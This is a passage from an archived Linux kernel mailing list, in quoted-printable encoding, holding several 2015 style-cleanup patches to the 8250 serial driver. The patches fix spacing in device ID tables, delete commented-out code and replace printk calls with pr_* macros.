=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D*/
=20
-static int setup_serial(struct pcmcia_device *handle, struct serial_in=
fo * info,
+static int setup_serial(struct pcmcia_device *handle, struct serial_in=
fo *info,
 			unsigned int iobase, int irq)
 {
 	struct uart_8250_port uart;
@@ -600,7 +600,7 @@ static int serial_check_for_multi(struct pcmcia_dev=
ice *p_dev,  void *priv_data)
 }
=20
=20
-static int serial_config(struct pcmcia_device * link)
+static int serial_config(struct pcmcia_device *link)
 {
 	struct serial_info *info =3D link->priv;
 	int i;
@@ -701,7 +701,7 @@ static const struct pcmcia_device_id serial_ids[] =3D=
 {
 	PCMCIA_PFC_DEVICE_PROD_ID12(1, "LINKSYS", "PCMLM336", 0xf7cb0b07, 0x7=
a821b58),
 	PCMCIA_PFC_DEVICE_PROD_ID12(1, "MEGAHERTZ", "XJEM1144/CCEM1144", 0xf5=
10db04, 0x52d21e1e),
 	PCMCIA_PFC_DEVICE_PROD_ID12(1, "MICRO RESEARCH", "COMBO-L/M-336", 0xb=
2ced065, 0x3ced0555),
-	PCMCIA_PFC_DEVICE_PROD_ID12(1, "NEC", "PK-UG-J001" ,0x18df0ba0 ,0x831=
b1064),
+	PCMCIA_PFC_DEVICE_PROD_ID12(1, "NEC", "PK-UG-J001", 0x18df0ba0, 0x831=
b1064),
 	PCMCIA_PFC_DEVICE_PROD_ID12(1, "Ositech", "Trumpcard:Jack of Diamonds=
 Modem+Ethernet", 0xc2f80cd, 0x656947b9),
 	PCMCIA_PFC_DEVICE_PROD_ID12(1, "Ositech", "Trumpcard:Jack of Hearts M=
odem+Ethernet", 0xc2f80cd, 0xdc9ba5ed),
 	PCMCIA_PFC_DEVICE_PROD_ID12(1, "PCMCIAs", "ComboCard", 0xdcfe12d3, 0x=
cd8906cc),
@@ -797,30 +797,30 @@ static const struct pcmcia_device_id serial_ids[]=
 =3D {
 	PCMCIA_DEVICE_CIS_PROD_ID123("ADVANTECH", "COMpad-32/85", "1.0", 0x96=
913a85, 0x8fbe92ae, 0x0877b627, "cis/COMpad2.cis"),
 	PCMCIA_DEVICE_CIS_PROD_ID2("RS-COM 2P", 0xad20b156, "cis/RS-COM-2P.ci=
s"),
 	PCMCIA_DEVICE_CIS_MANF_CARD(0x0013, 0x0000, "cis/GLOBETROTTER.cis"),
-	PCMCIA_DEVICE_PROD_ID12("ELAN DIGITAL SYSTEMS LTD, c1997.","SERIAL CA=
RD: SL100  1.00.",0x19ca78af,0xf964f42b),
-	PCMCIA_DEVICE_PROD_ID12("ELAN DIGITAL SYSTEMS LTD, c1997.","SERIAL CA=
RD: SL100",0x19ca78af,0x71d98e83),
-	PCMCIA_DEVICE_PROD_ID12("ELAN DIGITAL SYSTEMS LTD, c1997.","SERIAL CA=
RD: SL232  1.00.",0x19ca78af,0x69fb7490),
-	PCMCIA_DEVICE_PROD_ID12("ELAN DIGITAL SYSTEMS LTD, c1997.","SERIAL CA=
RD: SL232",0x19ca78af,0xb6bc0235),
-	PCMCIA_DEVICE_PROD_ID12("ELAN DIGITAL SYSTEMS LTD, c2000.","SERIAL CA=
RD: CF232",0x63f2e0bd,0xb9e175d3),
-	PCMCIA_DEVICE_PROD_ID12("ELAN DIGITAL SYSTEMS LTD, c2000.","SERIAL CA=
RD: CF232-5",0x63f2e0bd,0xfce33442),
-	PCMCIA_DEVICE_PROD_ID12("Elan","Serial Port: CF232",0x3beb8cf2,0x171e=
7190),
-	PCMCIA_DEVICE_PROD_ID12("Elan","Serial Port: CF232-5",0x3beb8cf2,0x20=
da4262),
-	PCMCIA_DEVICE_PROD_ID12("Elan","Serial Port: CF428",0x3beb8cf2,0xea5d=
d57d),
-	PCMCIA_DEVICE_PROD_ID12("Elan","Serial Port: CF500",0x3beb8cf2,0xd772=
55fa),
-	PCMCIA_DEVICE_PROD_ID12("Elan","Serial Port: IC232",0x3beb8cf2,0x6a70=
9903),
-	PCMCIA_DEVICE_PROD_ID12("Elan","Serial Port: SL232",0x3beb8cf2,0x1843=
0676),
-	PCMCIA_DEVICE_PROD_ID12("Elan","Serial Port: XL232",0x3beb8cf2,0x6f93=
3767),
-	PCMCIA_MFC_DEVICE_PROD_ID12(0,"Elan","Serial Port: CF332",0x3beb8cf2,=
0x16dc1ba7),
-	PCMCIA_MFC_DEVICE_PROD_ID12(0,"Elan","Serial Port: SL332",0x3beb8cf2,=
0x19816c41),
-	PCMCIA_MFC_DEVICE_PROD_ID12(0,"Elan","Serial Port: SL385",0x3beb8cf2,=
0x64112029),
-	PCMCIA_MFC_DEVICE_PROD_ID12(0,"Elan","Serial Port: SL432",0x3beb8cf2,=
0x1cce7ac4),
-	PCMCIA_MFC_DEVICE_PROD_ID12(0,"Elan","Serial+Parallel Port: SP230",0x=
3beb8cf2,0xdb9e58bc),
-	PCMCIA_MFC_DEVICE_PROD_ID12(1,"Elan","Serial Port: CF332",0x3beb8cf2,=
0x16dc1ba7),
-	PCMCIA_MFC_DEVICE_PROD_ID12(1,"Elan","Serial Port: SL332",0x3beb8cf2,=
0x19816c41),
-	PCMCIA_MFC_DEVICE_PROD_ID12(1,"Elan","Serial Port: SL385",0x3beb8cf2,=
0x64112029),
-	PCMCIA_MFC_DEVICE_PROD_ID12(1,"Elan","Serial Port: SL432",0x3beb8cf2,=
0x1cce7ac4),
-	PCMCIA_MFC_DEVICE_PROD_ID12(2,"Elan","Serial Port: SL432",0x3beb8cf2,=
0x1cce7ac4),
-	PCMCIA_MFC_DEVICE_PROD_ID12(3,"Elan","Serial Port: SL432",0x3beb8cf2,=
0x1cce7ac4),
+	PCMCIA_DEVICE_PROD_ID12("ELAN DIGITAL SYSTEMS LTD, c1997.", "SERIAL C=
ARD: SL100  1.00.", 0x19ca78af, 0xf964f42b),
+	PCMCIA_DEVICE_PROD_ID12("ELAN DIGITAL SYSTEMS LTD, c1997.", "SERIAL C=
ARD: SL100", 0x19ca78af, 0x71d98e83),
+	PCMCIA_DEVICE_PROD_ID12("ELAN DIGITAL SYSTEMS LTD, c1997.", "SERIAL C=
ARD: SL232  1.00.", 0x19ca78af, 0x69fb7490),
+	PCMCIA_DEVICE_PROD_ID12("ELAN DIGITAL SYSTEMS LTD, c1997.", "SERIAL C=
ARD: SL232", 0x19ca78af, 0xb6bc0235),
+	PCMCIA_DEVICE_PROD_ID12("ELAN DIGITAL SYSTEMS LTD, c2000.", "SERIAL C=
ARD: CF232", 0x63f2e0bd, 0xb9e175d3),
+	PCMCIA_DEVICE_PROD_ID12("ELAN DIGITAL SYSTEMS LTD, c2000.", "SERIAL C=
ARD: CF232-5", 0x63f2e0bd, 0xfce33442),
+	PCMCIA_DEVICE_PROD_ID12("Elan", "Serial Port: CF232", 0x3beb8cf2, 0x1=
71e7190),
+	PCMCIA_DEVICE_PROD_ID12("Elan", "Serial Port: CF232-5", 0x3beb8cf2, 0=
x20da4262),
+	PCMCIA_DEVICE_PROD_ID12("Elan", "Serial Port: CF428", 0x3beb8cf2, 0xe=
a5dd57d),
+	PCMCIA_DEVICE_PROD_ID12("Elan", "Serial Port: CF500", 0x3beb8cf2, 0xd=
77255fa),
+	PCMCIA_DEVICE_PROD_ID12("Elan", "Serial Port: IC232", 0x3beb8cf2, 0x6=
a709903),
+	PCMCIA_DEVICE_PROD_ID12("Elan", "Serial Port: SL232", 0x3beb8cf2, 0x1=
8430676),
+	PCMCIA_DEVICE_PROD_ID12("Elan", "Serial Port: XL232", 0x3beb8cf2, 0x6=
f933767),
+	PCMCIA_MFC_DEVICE_PROD_ID12(0, "Elan", "Serial Port: CF332", 0x3beb8c=
f2, 0x16dc1ba7),
+	PCMCIA_MFC_DEVICE_PROD_ID12(0, "Elan", "Serial Port: SL332", 0x3beb8c=
f2, 0x19816c41),
+	PCMCIA_MFC_DEVICE_PROD_ID12(0, "Elan", "Serial Port: SL385", 0x3beb8c=
f2, 0x64112029),
+	PCMCIA_MFC_DEVICE_PROD_ID12(0, "Elan", "Serial Port: SL432", 0x3beb8c=
f2, 0x1cce7ac4),
+	PCMCIA_MFC_DEVICE_PROD_ID12(0, "Elan", "Serial+Parallel Port: SP230",=
 0x3beb8cf2, 0xdb9e58bc),
+	PCMCIA_MFC_DEVICE_PROD_ID12(1, "Elan", "Serial Port: CF332", 0x3beb8c=
f2, 0x16dc1ba7),
+	PCMCIA_MFC_DEVICE_PROD_ID12(1, "Elan", "Serial Port: SL332", 0x3beb8c=
f2, 0x19816c41),
+	PCMCIA_MFC_DEVICE_PROD_ID12(1, "Elan", "Serial Port: SL385", 0x3beb8c=
f2, 0x64112029),
+	PCMCIA_MFC_DEVICE_PROD_ID12(1, "Elan", "Serial Port: SL432", 0x3beb8c=
f2, 0x1cce7ac4),
+	PCMCIA_MFC_DEVICE_PROD_ID12(2, "Elan", "Serial Port: SL432", 0x3beb8c=
f2, 0x1cce7ac4),
+	PCMCIA_MFC_DEVICE_PROD_ID12(3, "Elan", "Serial Port: SL432", 0x3beb8c=
f2, 0x1cce7ac4),
 	PCMCIA_DEVICE_MANF_CARD(0x0279, 0x950b),
 	/* too generic */
 	/* PCMCIA_MFC_DEVICE_MANF_CARD(0, 0x0160, 0x0002), */
--=20
1.9.1


From - Thu Nov 08 21:38:06 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Anton Wuerfel <anton.wuerfel@fau.de>
Newsgroups: gmane.linux.kernel,gmane.linux.serial,gmane.linux.ports.parisc
Subject: [PATCH 11/11] tty: serial: 8250: Delete commented code
Date: Wed, 16 Dec 2015 16:36:17 +0100
Lines: 40
Approved: news@gmane.org
Message-ID: <1450280177-4460-12-git-send-email-anton.wuerfel@fau.de>
References: <1450280177-4460-1-git-send-email-anton.wuerfel@fau.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: QUOTED-PRINTABLE
X-Trace: ger.gmane.org 1450280833 26753 80.91.229.3 (16 Dec 2015 15:47:13 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Wed, 16 Dec 2015 15:47:13 +0000 (UTC)
Cc: Greg Kroah-Hartman <gregkh@linuxfoundation.org>,
	Jiri Slaby <jslaby@suse.com>,
	"James E.J. Bottomley" <jejb@parisc-linux.org>,
	Helge Deller <deller@gmx.de>,
	Peter Hurley <peter@hurleysoftware.com>,
	Heikki Krogerus <heikki.krogerus@linux.intel.com>,
	Andy Shevchenko <andriy.shevchenko@linux.intel.com>,
	Qipeng Zha <qipeng.zha@intel.com>,
	Desmond Liu <desmondl@broadcom.com>,
	Wang Long <long.wanglong@huawei.com>,
	Matt Redfearn <matt.redfearn@imgtec.com>,
	Paul Burton <paul.burton@imgtec.com>,
	Ralf Baechle <ralf@linux-mips.org>,
	Krzysztof Kozlowski <k.kozlowski@samsung.com>,
	Peter Hung <hpeter@gmail.com>,
	Soeren Grunewald <soeren.grunewald@desy.de>,
	Adam Lee <adam.lee@canonical.com>,
	"Maciej S. Szmigiero" <mail@maciej.szmigiero.name>,
	Mans Rullgard <mans@mansr.com>, linux-kernel@vger.kernel.org,
	linux-parisc@vger.kernel.org, linux-kernel@i4.cs.fau.de,
	Anton Wuerfel <anto
To: linux-serial@vger.kernel.org
Original-X-From: linux-kernel-owner@vger.kernel.org Wed Dec 16 16:46:58 2015
Return-path: <linux-kernel-owner@vger.kernel.org>
Envelope-to: glk-linux-kernel-3@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-kernel-owner@vger.kernel.org>)
	id 1a9EI5-00066H-QM
	for glk-linux-kernel-3@plane.gmane.org; Wed, 16 Dec 2015 16:46:58 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S965466AbbLPPp4 convert rfc822-to-quoted-printable (ORCPT
	<rfc822;glk-linux-kernel-3@m.gmane.org>);
	Wed, 16 Dec 2015 10:45:56 -0500
Original-Received: from faui40.informatik.uni-erlangen.de ([131.188.34.40]:45455 "EHLO
	faui40.informatik.uni-erlangen.de" rhost-flags-OK-OK-OK-OK)
	by vger.kernel.org with ESMTP id S965528AbbLPPoI (ORCPT
	<rfc822;linux-kernel@vger.kernel.org>);
	Wed, 16 Dec 2015 10:44:08 -0500
Original-Received: from faui49man2 (faui49man2.informatik.uni-erlangen.de [131.188.42.190])
	by faui40.informatik.uni-erlangen.de (Postfix) with SMTP id A6B0958C4E1;
	Wed, 16 Dec 2015 16:36:48 +0100 (CET)
Original-Received: by faui49man2 (sSMTP sendmail emulation); Wed, 16 Dec 2015 16:36:48 +0100
X-Mailer: git-send-email 1.9.1
In-Reply-To: <1450280177-4460-1-git-send-email-anton.wuerfel@fau.de>
Original-Sender: linux-kernel-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-kernel.vger.kernel.org>
X-Mailing-List: linux-kernel@vger.kernel.org
Xref: news.gmane.org gmane.linux.kernel:2109887 gmane.linux.serial:21106 gmane.linux.ports.parisc:26194
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel/2109887>

This patch removes code which has been commented out. It serves no
documentary purposes and decreases the readability of the remaining cod=
e.
=46urthermore the comment style causes checkpatch warnings. If this cod=
e
should ever be needed again, git keeps track of it.

Signed-off-by: Anton W=C3=BCrfel <anton.wuerfel@fau.de>
Signed-off-by: Phillip Raffeck <phillip.raffeck@fau.de>
CC: linux-kernel@i4.cs.fau.de
---
 drivers/tty/serial/8250/8250_pci.c | 7 -------
 1 file changed, 7 deletions(-)

diff --git a/drivers/tty/serial/8250/8250_pci.c b/drivers/tty/serial/82=
50/8250_pci.c
index 3bc0303..9136f0f 100644
--- a/drivers/tty/serial/8250/8250_pci.c
+++ b/drivers/tty/serial/8250/8250_pci.c
@@ -4928,16 +4928,9 @@ static struct pci_device_id serial_pci_tbl[] =3D=
 {
 	{	PCI_VENDOR_ID_KORENIX, PCI_DEVICE_ID_KORENIX_JETCARDF0,
 		0x1208, 0x0004, 0, 0,
 		pbn_b0_4_921600 },
-/*	{	PCI_VENDOR_ID_KORENIX, PCI_DEVICE_ID_KORENIX_JETCARDF0,
-		0x1402, 0x0002, 0, 0,
-		pbn_b0_2_921600 }, */
-/*	{	PCI_VENDOR_ID_KORENIX, PCI_DEVICE_ID_KORENIX_JETCARDF0,
-		0x1404, 0x0004, 0, 0,
-		pbn_b0_4_921600 }, */
 	{	PCI_VENDOR_ID_KORENIX, PCI_DEVICE_ID_KORENIX_JETCARDF1,
 		0x1208, 0x0004, 0, 0,
 		pbn_b0_4_921600 },
-
 	{	PCI_VENDOR_ID_KORENIX, PCI_DEVICE_ID_KORENIX_JETCARDF2,
 		0x1204, 0x0004, 0, 0,
 		pbn_b0_4_921600 },
--=20
1.9.1


From - Thu Nov 08 21:38:06 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Anton Wuerfel <anton.wuerfel@fau.de>
Newsgroups: gmane.linux.kernel,gmane.linux.serial,gmane.linux.ports.parisc
Subject: [PATCH 10/11] tty: serial: 8250: Replace printk by pr_*
Date: Wed, 16 Dec 2015 16:36:16 +0100
Lines: 170
Approved: news@gmane.org
Message-ID: <1450280177-4460-11-git-send-email-anton.wuerfel@fau.de>
References: <1450280177-4460-1-git-send-email-anton.wuerfel@fau.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: QUOTED-PRINTABLE
X-Trace: ger.gmane.org 1450280849 26940 80.91.229.3 (16 Dec 2015 15:47:29 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Wed, 16 Dec 2015 15:47:29 +0000 (UTC)
Cc: Greg Kroah-Hartman <gregkh@linuxfoundation.org>,
	Jiri Slaby <jslaby@suse.com>,
	"James E.J. Bottomley" <jejb@parisc-linux.org>,
	Helge Deller <deller@gmx.de>,
	Peter Hurley <peter@hurleysoftware.com>,
	Heikki Krogerus <heikki.krogerus@linux.intel.com>,
	Andy Shevchenko <andriy.shevchenko@linux.intel.com>,
	Qipeng Zha <qipeng.zha@intel.com>,
	Desmond Liu <desmondl@broadcom.com>,
	Wang Long <long.wanglong@huawei.com>,
	Matt Redfearn <matt.redfearn@imgtec.com>,
	Paul Burton <paul.burton@imgtec.com>,
	Ralf Baechle <ralf@linux-mips.org>,
	Krzysztof Kozlowski <k.kozlowski@samsung.com>,
	Peter Hung <hpeter@gmail.com>,
	Soeren Grunewald <soeren.grunewald@desy.de>,
	Adam Lee <adam.lee@canonical.com>,
	"Maciej S. Szmigiero" <mail@maciej.szmigiero.name>,
	Mans Rullgard <mans@mansr.com>, linux-kernel@vger.kernel.org,
	linux-parisc@vger.kernel.org, linux-kernel@i4.cs.fau.de,
	Anton Wuerfel <anto
To: linux-serial@vger.kernel.org
Original-X-From: linux-kernel-owner@vger.kernel.org Wed Dec 16 16:47:20 2015
Return-path: <linux-kernel-owner@vger.kernel.org>
Envelope-to: glk-linux-kernel-3@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-kernel-owner@vger.kernel.org>)
	id 1a9EIQ-0006j6-D0
	for glk-linux-kernel-3@plane.gmane.org; Wed, 16 Dec 2015 16:47:18 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S966026AbbLPPrO convert rfc822-to-quoted-printable (ORCPT
	<rfc822;glk-linux-kernel-3@m.gmane.org>);
	Wed, 16 Dec 2015 10:47:14 -0500
Original-Received: from faui40.informatik.uni-erlangen.de ([131.188.34.40]:45443 "EHLO
	faui40.informatik.uni-erlangen.de" rhost-flags-OK-OK-OK-OK)
	by vger.kernel.org with ESMTP id S965850AbbLPPoF (ORCPT
	<rfc822;linux-kernel@vger.kernel.org>);
	Wed, 16 Dec 2015 10:44:05 -0500
Original-Received: from faui49man2 (faui49man2.informatik.uni-erlangen.de [131.188.42.190])
	by faui40.informatik.uni-erlangen.de (Postfix) with SMTP id 885F558C4DD;
	Wed, 16 Dec 2015 16:36:47 +0100 (CET)
Original-Received: by faui49man2 (sSMTP sendmail emulation); Wed, 16 Dec 2015 16:36:47 +0100
X-Mailer: git-send-email 1.9.1
In-Reply-To: <1450280177-4460-1-git-send-email-anton.wuerfel@fau.de>
Original-Sender: linux-kernel-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-kernel.vger.kernel.org>
X-Mailing-List: linux-kernel@vger.kernel.org
Xref: news.gmane.org gmane.linux.kernel:2109888 gmane.linux.serial:21107 gmane.linux.ports.parisc:26195
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel/2109888>

This patch replaces printk by the corresponding variant of pr_* in orde=
r to
fix checkpatch warnings.

Signed-off-by: Anton W=C3=BCrfel <anton.wuerfel@fau.de>
Signed-off-by: Phillip Raffeck <phillip.raffeck@fau.de>
CC: linux-kernel@i4.cs.fau.de
---
 drivers/tty/serial/8250/8250_core.c  |  5 ++---
 drivers/tty/serial/8250/8250_gsc.c   |  6 ++----
 drivers/tty/serial/8250/8250_hp300.c | 14 +++++++-------
 drivers/tty/serial/8250/8250_pnp.c   |  6 +++---
 drivers/tty/serial/8250/8250_port.c  |  3 +--
 5 files changed, 15 insertions(+), 19 deletions(-)

diff --git a/drivers/tty/serial/8250/8250_core.c b/drivers/tty/serial/8=
250/8250_core.c
index 2b3731f..b5e0c48 100644
--- a/drivers/tty/serial/8250/8250_core.c
+++ b/drivers/tty/serial/8250/8250_core.c
@@ -1095,9 +1095,8 @@ static int __init serial8250_init(void)
=20
 	serial8250_isa_init_ports();
=20
-	printk(KERN_INFO "Serial: 8250/16550 driver, "
-		"%d ports, IRQ sharing %sabled\n", nr_uarts,
-		share_irqs ? "en" : "dis");
+	pr_info("Serial: 8250/16550 driver, %d ports, IRQ sharing %sabled\n",
+		nr_uarts, share_irqs ? "en" : "dis");
=20
 #ifdef CONFIG_SPARC
 	ret =3D sunserial_register_minors(&serial8250_reg, UART_NR);
diff --git a/drivers/tty/serial/8250/8250_gsc.c b/drivers/tty/serial/82=
50/8250_gsc.c
index 2e3ea1a..a9b63d0 100644
--- a/drivers/tty/serial/8250/8250_gsc.c
+++ b/drivers/tty/serial/8250/8250_gsc.c
@@ -42,8 +42,7 @@ static int __init serial_init_chip(struct parisc_devi=
ce *dev)
 		 * the user what they're missing.
 		 */
 		if (parisc_parent(dev)->id.hw_type !=3D HPHW_IOA)
-			printk(KERN_INFO
-				"Serial: device 0x%llx not configured.\n"
+			pr_info("Serial: device 0x%llx not configured.\n"
 				"Enable support for Wax, Lasi, Asp or Dino.\n",
 				(unsigned long long)dev->hpa.start);
 		return -ENODEV;
@@ -66,8 +65,7 @@ static int __init serial_init_chip(struct parisc_devi=
ce *dev)
=20
 	err =3D serial8250_register_8250_port(&uart);
 	if (err < 0) {
-		printk(KERN_WARNING
-			"serial8250_register_8250_port returned error %d\n", err);
+		pr_warn("serial8250_register_8250_port returned error %d\n", err);
 		iounmap(uart.port.membase);
 		return err;
 	}
diff --git a/drivers/tty/serial/8250/8250_hp300.c b/drivers/tty/serial/=
8250/8250_hp300.c
index 52c43da..85b574896 100644
--- a/drivers/tty/serial/8250/8250_hp300.c
+++ b/drivers/tty/serial/8250/8250_hp300.c
@@ -110,7 +110,7 @@ int __init hp300_setup_serial_console(void)
 	/* Check for APCI console */
 	if (scode =3D=3D 256) {
 #ifdef CONFIG_HPAPCI
-		printk(KERN_INFO "Serial console is HP APCI 1\n");
+		pr_info("Serial console is HP APCI 1\n");
=20
 		port.uartclk =3D HPAPCI_BAUD_BASE * 16;
 		port.mapbase =3D (FRODO_BASE + FRODO_APCI_OFFSET(1));
@@ -118,7 +118,7 @@ int __init hp300_setup_serial_console(void)
 		port.regshift =3D 2;
 		add_preferred_console("ttyS", port.line, "9600n8");
 #else
-		printk(KERN_WARNING "Serial console is APCI but support is disabled =
(CONFIG_HPAPCI)!\n");
+		pr_warn("Serial console is APCI but support is disabled (CONFIG_HPAP=
CI)!\n");
 		return 0;
 #endif
 	} else {
@@ -128,7 +128,7 @@ int __init hp300_setup_serial_console(void)
 		if (!pa)
 			return 0;
=20
-		printk(KERN_INFO "Serial console is HP DCA at select code %d\n", sco=
de);
+		pr_info("Serial console is HP DCA at select code %d\n", scode);
=20
 		port.uartclk =3D HPDCA_BAUD_BASE * 16;
 		port.mapbase =3D (pa + UART_OFFSET);
@@ -142,13 +142,13 @@ int __init hp300_setup_serial_console(void)
 		if (DIO_ID(pa + DIO_VIRADDRBASE) & 0x80)
 			add_preferred_console("ttyS", port.line, "9600n8");
 #else
-		printk(KERN_WARNING "Serial console is DCA but support is disabled (=
CONFIG_HPDCA)!\n");
+		pr_warn("Serial console is DCA but support is disabled (CONFIG_HPDCA=
)!\n");
 		return 0;
 #endif
 	}
=20
 	if (early_serial_setup(&port) < 0)
-		printk(KERN_WARNING "hp300_setup_serial_console(): early_serial_setu=
p() failed.\n");
+		pr_warn("hp300_setup_serial_console(): early_serial_setup() failed.\=
n");
 	return 0;
 }
 #endif /* CONFIG_SERIAL_8250_CONSOLE */
@@ -180,7 +180,7 @@ static int hpdca_init_one(struct dio_dev *d,
 	line =3D serial8250_register_8250_port(&uart);
=20
 	if (line < 0) {
-		printk(KERN_NOTICE "8250_hp300: register_serial() DCA scode %d"
+		pr_notice("8250_hp300: register_serial() DCA scode %d"
 		       " irq %d failed\n", d->scode, uart.port.irq);
 		return -ENOMEM;
 	}
@@ -261,7 +261,7 @@ static int __init hp300_8250_init(void)
 		line =3D serial8250_register_8250_port(&uart);
=20
 		if (line < 0) {
-			printk(KERN_NOTICE "8250_hp300: register_serial() APCI"
+			pr_notice("8250_hp300: register_serial() APCI"
 			       " %d irq %d failed\n", i, uart.port.irq);
 			kfree(port);
 			continue;
diff --git a/drivers/tty/serial/8250/8250_pnp.c b/drivers/tty/serial/82=
50/8250_pnp.c
index 2731031..3811c67 100644
--- a/drivers/tty/serial/8250/8250_pnp.c
+++ b/drivers/tty/serial/8250/8250_pnp.c
@@ -465,9 +465,9 @@ serial_pnp_probe(struct pnp_dev *dev, const struct =
pnp_device_id *dev_id)
 		return -ENODEV;
=20
 #ifdef SERIAL_DEBUG_PNP
-	printk(KERN_DEBUG
-		"Setup PNP port: port %x, mem 0x%lx, irq %d, type %d\n",
-		       uart.port.iobase, uart.port.mapbase, uart.port.irq, uart.port=
=2Eiotype);
+	pr_debug("Setup PNP port: port %x, mem 0x%lx, irq %d, type %d\n",
+		 uart.port.iobase, uart.port.mapbase,
+		 uart.port.irq, uart.port.iotype);
 #endif
 	if (flags & CIR_PORT) {
 		uart.port.flags |=3D UPF_FIXED_PORT | UPF_FIXED_TYPE;
diff --git a/drivers/tty/serial/8250/8250_port.c b/drivers/tty/serial/8=
250/8250_port.c
index 0ec823e..1b2aaf9 100644
--- a/drivers/tty/serial/8250/8250_port.c
+++ b/drivers/tty/serial/8250/8250_port.c
@@ -1222,8 +1222,7 @@ static void autoconfig(struct uart_8250_port *up)
 out_lock:
 	spin_unlock_irqrestore(&port->lock, flags);
 	if (up->capabilities !=3D old_capabilities) {
-		printk(KERN_WARNING
-		       "ttyS%d: detected caps %08x should be %08x\n",
+		pr_warn("ttyS%d: detected caps %08x should be %08x\n",
 		       serial_index(port), old_capabilities,
 		       up->capabilities);
 	}
--=20
1.9.1


From - Thu Nov 08 21:38:06 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Anton Wuerfel <anton.wuerfel@fau.de>
Newsgroups: gmane.linux.kernel,gmane.linux.serial,gmane.linux.ports.parisc
Subject: [PATCH 06/11] tty: serial: 8250: Move EXPORT_SYMBOL to function
Date: Wed, 16 Dec 2015 16:36:12 +0100
Lines: 45
Approved: news@gmane.org
Message-ID: <1450280177-4460-7-git-send-email-anton.wuerfel@fau.de>
References: <1450280177-4460-1-git-send-email-anton.wuerfel@fau.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: QUOTED-PRINTABLE
X-Trace: ger.gmane.org 1450280869 27159 80.91.229.3 (16 Dec 2015 15:47:49 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Wed, 16 Dec 2015 15:47:49 +0000 (UTC)
Cc: Greg Kroah-Hartman <gregkh@linuxfoundation.org>,
	Jiri Slaby <jslaby@suse.com>,
	"James E.J. Bottomley" <jejb@parisc-linux.org>,
	Helge Deller <deller@gmx.de>,
	Peter Hurley <peter@hurleysoftware.com>,
	Heikki Krogerus <heikki.krogerus@linux.intel.com>,
	Andy Shevchenko <andriy.shevchenko@linux.intel.com>,
	Qipeng Zha <qipeng.zha@intel.com>,
	Desmond Liu <desmondl@broadcom.com>,
	Wang Long <long.wanglong@huawei.com>,
	Matt Redfearn <matt.redfearn@imgtec.com>,
	Paul Burton <paul.burton@imgtec.com>,
	Ralf Baechle <ralf@linux-mips.org>,
	Krzysztof Kozlowski <k.kozlowski@samsung.com>,
	Peter Hung <hpeter@gmail.com>,
	Soeren Grunewald <soeren.grunewald@desy.de>,
	Adam Lee <adam.lee@canonical.com>,
	"Maciej S. Szmigiero" <mail@maciej.szmigiero.name>,
	Mans Rullgard <mans@mansr.com>, linux-kernel@vger.kernel.org,
	linux-parisc@vger.kernel.org, linux-kernel@i4.cs.fau.de,
	Anton Wuerfel <anto
To: linux-serial@vger.kernel.org
Original-X-From: linux-kernel-owner@vger.kernel.org Wed Dec 16 16:47:39 2015
Return-path: <linux-kernel-owner@vger.kernel.org>
Envelope-to: glk-linux-kernel-3@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-kernel-owner@vger.kernel.org>)
	id 1a9EIk-0007KH-R8
	for glk-linux-kernel-3@plane.gmane.org; Wed, 16 Dec 2015 16:47:39 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S965980AbbLPPrK convert rfc822-to-quoted-printable (ORCPT
	<rfc822;glk-linux-kernel-3@m.gmane.org>);
	Wed, 16 Dec 2015 10:47:10 -0500
Original-Received: from faui40.informatik.uni-erlangen.de ([131.188.34.40]:45444 "EHLO
	faui40.informatik.uni-erlangen.de" rhost-flags-OK-OK-OK-OK)
	by vger.kernel.org with ESMTP id S965851AbbLPPoF (ORCPT
	<rfc822;linux-kernel@vger.kernel.org>);
	Wed, 16 Dec 2015 10:44:05 -0500
Original-Received: from faui49man2 (faui49man2.informatik.uni-erlangen.de [131.188.42.190])
	by faui40.informatik.uni-erlangen.de (Postfix) with SMTP id F10BA58C4D4;
	Wed, 16 Dec 2015 16:36:42 +0100 (CET)
Original-Received: by faui49man2 (sSMTP sendmail emulation); Wed, 16 Dec 2015 16:36:42 +0100
X-Mailer: git-send-email 1.9.1
In-Reply-To: <1450280177-4460-1-git-send-email-anton.wuerfel@fau.de>
Original-Sender: linux-kernel-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-kernel.vger.kernel.org>
X-Mailing-List: linux-kernel@vger.kernel.org
Xref: news.gmane.org gmane.linux.kernel:2109889 gmane.linux.serial:21108 gmane.linux.ports.parisc:26196
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel/2109889>

This patch moves EXPORT_SYMBOL macros directly after the definition of
the corresponding symbol to remove checkpatch warnings.

